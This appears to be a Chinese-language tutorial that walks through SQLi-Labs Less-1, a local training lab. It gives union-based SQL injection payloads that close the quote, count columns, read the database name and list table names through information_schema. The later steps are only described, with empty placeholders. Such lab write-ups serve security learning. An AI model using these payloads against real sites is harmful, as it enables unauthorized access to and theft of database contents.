什么是SQL注入以及SQLi-LABS呢
SQL注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使得攻击者能够在执行SQL查询时插入恶意的SQL代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息、篡改数据甚至完全破坏数据库
SQLi-Labs是一个用于教学和实践SQL注入攻击的开源项目。它提供了一系列具有不同安全漏洞的Web应用程序,供安全专业人员、学生和研究人员进行SQL注入的实验和测试,帮助人们了解和学习SQL注入攻击的原理、技术和防御方法
那么SQLi-Labs的Less1这个题为啥会产生sql注入,根据第一篇学习技术总结可知,我们在phpStudy启动Apache和MySQL后,在localhost这个网页点击Less1 ,可以看到下面界面
看到please input the ID as parameter with numeric value 可知请输入id作为带数值的参数,那么从id入手在网页上localhost/Less-1后输入?id=1 即localhost /Less-1/?id=1 (输入用英文)结果如下
那么试试吧?id=1删了写上?id=1’结果如下
报了语法错误,那么在最后加入注释符 --+,即loalhost/Less-1/?id=1' --+
猜测查询语句为:select <字段> from <数据库>.<表> where id='$id';如果想知道具体网页代码可以去D:\phpstudy_pro\WWW\sqli-labs-master\Less-1\index.php可以下载sublime后打开。
那么为什么输入单引号是为了与代码的单引号闭合掉也就是select <字段> from <数据库>.<表> where id='1' --+ '
使用order by命令看看有几列,多出来就会报错。当输入?id=1' order by 4 --+ // select <字段> from <数据库>.<表> where id='1' order by 4 --+ '报错了,说明这个表里有3个字段
使用union联合查询?id=-1' union select 1,2,3 --+ //select <字段> from <数据库>.<表> where id='-1' union select 1,2,3 --+ '//这里要把这个1改为表内没有的内容,否则查询内容显示不出来,我这里改为-1
判断当前数据库:select database()那么输入?id=-1' union select 1,database(),3 --+ //把2 改为了database()// select <字段> from <数据库>.<表> where id='-1' union select 1,database(),3 --+ '得到当前数据库名:security
接下来爆表名?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ //查询当前数据库(security)下所有的表名。是在tables查询的。group_concat()是让数据在一行显示。
查询当前数据库(security)下,users表内的所有字段名。是在columns表中查询的。
输入
显示
查询security数据库下users表的内容
那么这样就看到表的内容了